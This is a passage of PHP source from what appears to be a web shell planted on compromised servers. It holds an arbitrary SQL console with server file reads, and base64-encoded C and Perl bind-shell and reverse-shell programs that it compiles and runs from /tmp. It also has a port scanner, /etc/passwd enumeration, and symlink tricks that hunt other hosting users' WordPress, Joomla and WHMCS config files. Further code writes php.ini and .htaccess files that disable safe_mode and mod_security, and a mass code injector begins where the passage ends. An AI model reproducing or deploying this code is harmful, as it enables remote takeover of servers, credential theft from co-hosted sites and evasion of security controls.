  1302. <td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
  1303. <td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
  1304. <td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
  1305. <td>';
  1306. $tmp = "<input type=text name=sql_base value=''>";
  1307. if(isset($_POST['sql_host'])){
  1308. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1309. switch($_POST['charset']) {
  1310. case "Windows-1251": $db->setCharset('cp1251'); break;
  1311. case "UTF-8": $db->setCharset('utf8'); break;
  1312. case "KOI8-R": $db->setCharset('koi8r'); break;
  1313. case "KOI8-U": $db->setCharset('koi8u'); break;
  1314. case "cp866": $db->setCharset('cp866'); break;
  1315. }
  1316. $db->listDbs();
  1317. echo "<select name=sql_base><option value=''></option>";
  1318. while($item = $db->fetch()) {
  1319. list($key, $value) = each($item);
  1320. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1321. }
  1322. echo '</select>';
  1323. }
  1324. else echo $tmp;
  1325. }else
  1326. echo $tmp;
  1327. echo '</td>
  1328. <td><input type=submit value=">>"></td>
  1329. </tr>
  1330. </table>
  1331. <script>
  1332. function st(t,l) {
  1333. document.sf.p1.value = \'select\';
  1334. document.sf.p2.value = t;
  1335. if(l!=null)document.sf.p3.value = l;
  1336. document.sf.submit();
  1337. }
  1338. function is() {
  1339. for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
  1340. document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
  1341. }
  1342. </script>';
  1343. if(isset($db) && $db->link){
  1344. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1345. if(!empty($_POST['sql_base'])){
  1346. $db->selectdb($_POST['sql_base']);
  1347. echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
  1348. $tbls_res = $db->listTables();
  1349. while($item = $db->fetch($tbls_res)) {
  1350. list($key, $value) = each($item);
  1351. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1352. $value = htmlspecialchars($value);
  1353. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
  1354. }
  1355. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
  1356. if(@$_POST['p1'] == 'select') {
  1357. $_POST['p1'] = 'query';
  1358. $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
  1359. $num = $db->fetch();
  1360. $num = $num['n'];
  1361. echo "<span>".$_POST['p2']."</span> ($num) ";
  1362. for($i=0;$i<($num/30);$i++)
  1363. if($i != (int)$_POST['p3'])
  1364. echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
  1365. else
  1366. echo ($i+1)," ";
  1367. if($_POST['type']=='pgsql')
  1368. $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1369. else
  1370. $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1371. echo "<br><br>";
  1372. }
  1373. if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
  1374. $db->query(@$_POST['p3']);
  1375. if($db->res !== false) {
  1376. $title = false;
  1377. echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
  1378. $line = 1;
  1379. while($item = $db->fetch()) {
  1380. if(!$title) {
  1381. echo '<tr>';
  1382. foreach($item as $key => $value)
  1383. echo '<th>'.$key.'</th>';
  1384. reset($item);
  1385. $title=true;
  1386. echo '</tr><tr>';
  1387. $line = 2;
  1388. }
  1389. echo '<tr class="l'.$line.'">';
  1390. $line = $line==1?2:1;
  1391. foreach($item as $key => $value) {
  1392. if($value == null)
  1393. echo '<td><i>null</i></td>';
  1394. else
  1395. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1396. }
  1397. echo '</tr>';
  1398. }
  1399. echo '</table>';
  1400. } else {
  1401. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1402. }
  1403. }
  1404. echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
  1405. echo "</td></tr>";
  1406. }
  1407. echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1408. if(@$_POST['p1'] == 'loadfile') {
  1409. $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
  1410. $file = $db->fetch();
  1411. echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1412. }
  1413. }
  1414. echo '</div>';
  1415. printFooter();
  1416. }
  1417.  
  1418. function actionNetwork() {
  1419. printHeader();
  1420. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
  1421. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1422. $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
  1423. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1424.  
  1425. echo '<h1>Network-ing Tools</h1><div class=content>
  1426. <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
  1427. <br /><span>Bind port to /bin/sh</span><br/>
  1428. Port: <input type=\'text\' name=\'port\' value=\'443\'> Password: <input type=\'text\' name=\'pass\' value=\'AnOnGuY\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
  1429. </form>
  1430. <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
  1431. <br /><br /><span>Back-connect to</span><br/>
  1432. Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'443\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
  1433. </form><br>';
  1434. if(isset($_POST['p1'])) {
  1435. function cf($f,$t) {
  1436. $w=@fopen($f,"w") or @function_exists('file_put_contents');
  1437. if($w) {
  1438. @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
  1439. @fclose($w);
  1440. }
  1441. }
  1442. if($_POST['p1'] == 'bpc') {
  1443. cf("/tmp/bp.c",$bind_port_c);
  1444. $out = ex("gcc -o /tmp/bp /tmp/bp.c");
  1445. @unlink("/tmp/bp.c");
  1446. $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
  1447. echo "<pre class=ml1>$out\
  1448. ".ex("ps aux | grep bp")."</pre>";
  1449. }
  1450. if($_POST['p1'] == 'bpp') {
  1451. cf("/tmp/bp.pl",$bind_port_p);
  1452. $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
  1453. echo "<pre class=ml1>$out\
  1454. ".ex("ps aux | grep bp.pl")."</pre>";
  1455. }
  1456. if($_POST['p1'] == 'bcc') {
  1457. cf("/tmp/bc.c",$back_connect_c);
  1458. $out = ex("gcc -o /tmp/bc /tmp/bc.c");
  1459. @unlink("/tmp/bc.c");
  1460. $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
  1461. echo "<pre class=ml1>$out\
  1462. ".ex("ps aux | grep bc")."</pre>";
  1463. }
  1464. if($_POST['p1'] == 'bcp') {
  1465. cf("/tmp/bc.pl",$back_connect_p);
  1466. $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
  1467. echo "<pre class=ml1>$out\
  1468. ".ex("ps aux | grep bc.pl")."</pre>";
  1469. }
  1470. }
  1471. echo '</div>';
  1472. printFooter();
  1473. }
  1474.  
  1475. function actionPortScanner() {
  1476. printHeader();
  1477. echo '<h1>Port Scanner</h1>';
  1478. echo '<div class="content">';
  1479. echo '<form action="" method="post">';
  1480.  
  1481. if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
  1482. $start = strip_tags($_POST['start']);
  1483. $end = strip_tags($_POST['end']);
  1484. $host = strip_tags($_POST['host']);
  1485. for($i = $start; $i<=$end; $i++){
  1486. $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  1487. if($fp){
  1488. echo 'Port '.$i.' is <font color=lime>open</font><br>';
  1489. }
  1490. flush();
  1491. }
  1492. } else {
  1493. echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
  1494. <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
  1495. <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  1496. Host: <input type="text" name="host" value="localhost"/><br /><br />
  1497. Port start: <input type="text" name="start" value="0"/><br /><br />
  1498. Port end:<input type="text" name="end" value="5000"/><br /><br />
  1499. <input type="submit" value="Scan Ports" />
  1500. </form></center><br /><br />';
  1501. }
  1502. echo '</div>';
  1503. printFooter();
  1504. }
  1505.  
  1506. function actionReadable() {
  1507. printHeader();
  1508. echo '<h1>Readable Directories</h1>';
  1509. echo '<div class="content">';
  1510. $sm = ini_get('safe_mode');
  1511. if($sm) {
  1512. echo '<br /><b>Error: safe_mode = on</b><br /><br />';
  1513. } else {
  1514. @$passwd = file('/etc/passwd','r');
  1515. if (!$passwd) {
  1516. echo '<br /><b>[#] Error : couldn`t read /etc/passwd</b><br /><br />';
  1517. } else {
  1518. $pub = array();
  1519. $users = array();
  1520. $conf = array();
  1521. $i = 0;
  1522. foreach($passwd as $p) {
  1523. $r = explode(':',$p);
  1524. $dirz = $r[5].'/public_html/';
  1525. if(strpos($r[5],'home')) {
  1526. array_push($users,$r[0]);
  1527. if (is_readable($dirz)) {
  1528. array_push($pub,$dirz);
  1529. }
  1530. }
  1531. }
  1532. echo '<br><br>';
  1533. echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\
  1534. "."<br />";
  1535. echo "[+] Founded ".sizeof($pub)." readable public_html directories\
  1536. "."<br /><br /><br />";
  1537. foreach ($pub as $user) {
  1538. echo $user."<br>";
  1539. }
  1540. echo "<br /><br /><br />[+] Complete...\
  1541. "."<br />";
  1542. }
  1543. }
  1544. echo '</div>';
  1545. printFooter();
  1546. }
  1547.  
  1548. function actionSymlink() {
  1549. printHeader();
  1550. echo '<h1>Symlink</h1>';
  1551. $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  1552. $expld = explode('/',$furl );
  1553. $burl =str_replace(end($expld),'',$furl);
  1554.  
  1555. echo '<div class="content"><center>
  1556. <h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] -
  1557. [ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink<sup style="color:red;text-decoration:blink;">New</sup></a> ] -
  1558. [ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>';
  1559.  
  1560. if(isset($_POST['p1']) && $_POST['p1']=='website')
  1561. {
  1562. echo "<center>";
  1563. $d0mains = @file("/etc/named.conf");
  1564. if(!$d0mains){
  1565. echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  1566. } else {
  1567. echo "<table align=center class='main' border=0 ><tr><th> Count </th><th> Domains </th><th> Users </th></tr>";
  1568.  
  1569. $unk = array();
  1570. foreach($d0mains as $d0main){
  1571. if(@eregi("zone",$d0main)){
  1572. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  1573. flush();
  1574. if(strlen(trim($domains[1][0])) > 2){
  1575. $unk[] = $domains[1][0];
  1576. flush();
  1577.  
  1578. }
  1579. }
  1580. }
  1581. $count=1;
  1582. $unk = array_unique($unk);
  1583. $l=0;
  1584. foreach($unk as $d){
  1585. $user = posix_getpwuid(@fileowner("/etc/valiases/".$d));
  1586. echo "<tr".($l?' class=l1':'')."><td>".$count."</td><td><a href=http://".$d."/>".$d."</a></td><td>".$user['name']."</td></tr>";
  1587. flush();
  1588. $count++;
  1589. $l=$l?0:1;
  1590. }
  1591. echo "</table>";
  1592. }
  1593. echo "</center>";
  1594. }
  1595.  
  1596. if(isset($_POST['p1']) && $_POST['p1']=='whole')
  1597. {
  1598. echo "<center>";
  1599. @mkdir('AnonGuy_sym',0777);
  1600. $hdt = "Options all\
  1601. DirectoryIndex Sux.html\
  1602. AddType text/plain .php\
  1603. AddHandler server-parsed .php\
  1604. AddType text/plain .html\
  1605. AddHandler txt .html\
  1606. Require None\
  1607. Satisfy Any";
  1608. $hfp =@fopen ('AnonGuy_sym/.htaccess','w');
  1609. fwrite($hfp ,$hdt);
  1610. if(function_exists('symlink')) {
  1611. @symlink('/','AnonGuy_sym/root');
  1612. }
  1613. $d0mains = @file('/etc/named.conf');
  1614. if(!$d0mains) {
  1615. echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  1616. echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
  1617. $dt = file('/etc/passwd');
  1618. $l=0;
  1619. foreach($dt as $d) {
  1620. $r = explode(':',$d);
  1621. if(strpos($r[5],'home')) {
  1622. echo "<tr".($l?' class=l1':'')."><td>".$j."</td><td>---</td><td>".$r[0]."</td><td><a href='AnonGuy_sym/root".$r[5]."/public_html' target='_blank'>symlink</a></td></tr>";
  1623. $l=$l?0:1;
  1624. $j++;
  1625. }
  1626. }
  1627. echo '</table>';
  1628. } else {
  1629. echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
  1630. $count=1;
  1631. $mck = array();
  1632. foreach($d0mains as $d0main){
  1633. if(@eregi('zone',$d0main)){
  1634. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  1635. flush();
  1636. if(strlen(trim($domain[1][0])) >2){
  1637. $mck[] = $domain[1][0];
  1638. }
  1639. }
  1640. }
  1641. $mck = array_unique($mck);
  1642. $usr = array();
  1643. $dmn = array();
  1644. foreach($mck as $o) {
  1645. $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  1646. $usr[] = $infos['name'];
  1647. $dmn[] = $o;
  1648. }
  1649. array_multisort($usr,$dmn);
  1650. $dt = file('/etc/passwd');
  1651. $passwd = array();
  1652. foreach($dt as $d) {
  1653. $r = explode(':',$d);
  1654. if(strpos($r[5],'home')) {
  1655. $passwd[$r[0]] = $r[5];
  1656. }
  1657. }
  1658. $l=0;
  1659. $j=1;
  1660. foreach($usr as $r) {
  1661. echo "<tr".($l?' class=l1':'')."><td>".$count++."</td>
  1662. <td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td>
  1663. <td>'.$r."</td>
  1664. <td><a href='AnonGuy_sym/root".$passwd[$r]."/public_html' target='_blank'>symlink</a></td></tr>";
  1665. flush();
  1666. $l=$l?0:1;
  1667. $j++;
  1668. }
  1669. echo '</table>';
  1670. }
  1671. echo "</center>";
  1672. }
  1673.  
  1674. if(isset($_POST['p1']) && $_POST['p1']=='config')
  1675. {
  1676. echo "<center>";
  1677. @mkdir('AnonGuy_sym',0777);
  1678. $hdt = "Options all \
  1679. DirectoryIndex Sux.html \
  1680. AddType text/plain .php \
  1681. AddHandler server-parsed .php \
  1682. AddType text/plain .html \
  1683. AddHandler txt .html \
  1684. Require None \
  1685. Satisfy Any";
  1686. $hfp = @fopen ('AnonGuy_sym/.htaccess','w');
  1687. @fwrite($hfp ,$hdt);
  1688. if(function_exists('symlink')) {
  1689. @symlink('/','AnonGuy_sym/root');
  1690. }
  1691. $d0mains = @file('/etc/named.conf');
  1692. if(!$d0mains) {
  1693. echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  1694. } else {
  1695. echo "<table align='center' width='40%' class='main' ><tr><th> Count </th><th> Domain </th<th> User </th>><th> Script </th></tr>";
  1696. $count = 1;
  1697. $l=0;
  1698. foreach($d0mains as $d0main){
  1699. if(@eregi('zone',$d0main)){
  1700. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  1701. flush();
  1702. if(strlen(trim($domain[1][0]))>2){
  1703. $user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0]));
  1704.  
  1705. $c1 = $burl.'/AnonGuy_sym/root/home/'.$user['name'].'/public_html/wp-config.php';
  1706. $ch01 = get_headers($c1);
  1707. $cf01 = $ch01[0];
  1708. $c2 = $burl.'/AnonGuy_sym/root/home/'.$user['name'].'/public_html/blog/wp-config.php';
  1709. $ch02 = get_headers($c2);
  1710. $cf02 = $ch02[0];
  1711. $c3 = $burl.'/AnonGuy_sym/root/home/'.$user['name'].'/public_html/configuration.php';
  1712. $ch03 = get_headers($c3);
  1713. $cf03 = $ch03[0];
  1714. $c4 = $burl.'/AnonGuy_sym/root/home/'.$user['name'].'/public_html/joomla/configuration.php';
  1715. $ch04 = get_headers($c4);
  1716. $cf04 = $ch04[0];
  1717. $c5 = $burl.'/AnonGuy_sym/root/home/'.$user['name'].'/public_html/includes/config.php';
  1718. $ch05 = get_headers($c5);
  1719. $cf05 = $ch05[0];
  1720. $c6 = $burl.'/AnonGuy_sym/root/home/'.$user['name'].'/public_html/vb/includes/config.php';
  1721. $ch06 = get_headers($c6);
  1722. $cf06 = $ch06[0];
  1723. $c7 = $burl.'/AnonGuy_sym/root/home/'.$user['name'].'/public_html/forum/includes/config.php';
  1724. $ch07 = get_headers($c7);
  1725. $cf07 = $ch07[0];
  1726. $c8 = $burl.'/AnonGuy_sym/root/home/'.$user['name'].'public_html/clients/configuration.php';
  1727. $ch08 = get_headers($c8);
  1728. $cf08 = $ch08[0];
  1729. $c9 = $burl.'/AnonGuy_sym/root/home/'.$user['name'].'/public_html/support/configuration.php';
  1730. $ch09 = get_headers($c9);
  1731. $cf09 = $ch09[0];
  1732. $c10 = $burl.'/AnonGuy_sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
  1733. $ch10 = get_headers($c10);
  1734. $cf10 = $ch10[0];
  1735. $c11 = $burl.'/AnonGuy_sym/root/home/'.$user['name'].'/public_html/submitticket.php';
  1736. $ch11 = get_headers($c11);
  1737. $cf11 = $ch11[0];
  1738. $c12 = $burl.'/AnonGuy_sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
  1739. $ch12 = get_headers($c12);
  1740. $cf12 = $ch12[0];
  1741. $c13 = $burl.'/AnonGuy_sym/root/home/'.$user['name'].'/public_html/includes/configure.php';
  1742. $ch13 = get_headers($c13);
  1743. $cf13 = $ch13[0];
  1744. $c14 = $burl.'/AnonGuy_sym/root/home/'.$user['name'].'/public_html/include/app_config.php';
  1745. $ch14 = get_headers($c14);
  1746. $cf14 = $ch14[0];
  1747. $c15 = $burl.'/AnonGuy_sym/root/home/'.$user['name'].'/public_html/sites/default/settings.php';
  1748. $ch15 = get_headers($c15);
  1749. $cf15 = $ch15[0];
  1750.  
  1751. $out = '&nbsp;';
  1752. if(strpos($cf01,'200') == true) { $out = "<a href='".$c1."' target='_blank'>Wordpress</a>"; }
  1753. elseif(strpos($cf02,'200') == true) { $out = "<a href='".$c2."' target='_blank'>Wordpress</a>"; }
  1754. elseif(strpos($cf03,'200') == true && strpos($cf11,'200') == true) { $out = " <a href='".$c11."' target='_blank'>WHMCS</a>"; }
  1755. elseif(strpos($cf09,'200') == true) { $out = " <a href='".$c9."' target='_blank'>WHMCS</a>"; }
  1756. elseif(strpos($cf10,'200') == true) { $out = " <a href='".$c10."' target='_blank'>WHMCS</a>"; }
  1757. elseif(strpos($cf03,'200') == true) { $out = " <a href='".$c3."' target='_blank'>Joomla</a>"; }
  1758. elseif(strpos($cf04,'200') == true) { $out = " <a href='".$c4."' target='_blank'>Joomla</a>"; }
  1759. elseif(strpos($cf05,'200') == true) { $out = " <a href='".$c5."' target='_blank'>vBulletin</a>"; }
  1760. elseif(strpos($cf06,'200') == true) { $out = " <a href='".$c6."' target='_blank'>vBulletin</a>"; }
  1761. elseif(strpos($cf07,'200') == true) { $out = " <a href='".$c7."' target='_blank'>vBulletin</a>"; }
  1762. elseif(strpos($cf08,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
  1763. elseif(strpos($cf12,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
  1764. elseif(strpos($cf13,'200') == true) { $out = " <a href='".$c7."' target='_blank'>osCommerce/Zen Cart</a>"; }
  1765. elseif(strpos($cf14,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Magento</a>"; }
  1766. elseif(strpos($cf15,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Drupal</a>"; }
  1767. else {
  1768. continue;
  1769. }
  1770. echo '<tr'.($l?' class=l1':'').'><td>'.$count++.'</td><td><a href=http://www.'.$domain[1][0].'/>'.$domain[1][0].'</a></td><td>'.$user['name'].'</td><td>'.$out.'</td></tr>';
  1771. flush();
  1772. $l=$l?0:1;
  1773. }
  1774. }
  1775. }
  1776. echo "</table>";
  1777. }
  1778. echo "</center>";
  1779. }
  1780. echo "</div>";
  1781. printFooter();
  1782. }
  1783.  
  1784. function actionBypass() {
  1785. printHeader();
  1786. echo '<h1>Safe Mode</h1>';
  1787. echo '<div class="content">';
  1788. echo "<div class=header><center><h3><span>| SAFE MODE, MOD SECURITY DISABLED & PERL 500 (INTERNAL ERROR) BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
  1789. echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
  1790. if(!empty($_POST['p2']) && isset($_POST['p2']))
  1791. {
  1792. $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  1793. fwrite($fil,'<IfModule mod_security.c>
  1794. Sec------Engine Off
  1795. Sec------ScanPOST Off
  1796. </IfModule>');
  1797. fclose($fil);
  1798. }
  1799. if(!empty($_POST['p1'])&& isset($_POST['p1']))
  1800. {
  1801. $fil=fopen($GLOBALS['cwd']."php.ini","w");
  1802. fwrite($fil,'safe_mode=OFF
  1803. disable_functions=NONE');
  1804. fclose($fil);
  1805. }
  1806. if(!empty($_POST['p3']) && isset($_POST['p3']))
  1807. {
  1808. $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  1809. fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
  1810. AddType application/x-httpd-cgi .sh
  1811. AddHandler cgi-script .pl
  1812. AddHandler cgi-script .pl');
  1813. fclose($fil);
  1814. }
  1815. echo "<br><br /><br /></div>";
  1816. echo '</div>';
  1817. printFooter();
  1818. }
  1819.  
  1820. function actionInjector(){
  1821. printHeader();
  1822. echo '<h1>Mass Code Injector</h1>';
  1823. echo '<div class="content">';
  1824.  
  1825. if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
  1826. function get_structure($path,$depth) {
  1827. global $DS;
  1828. $res = array();
  1829. if(in_array(0, $depth)) { $res[] = $path; }
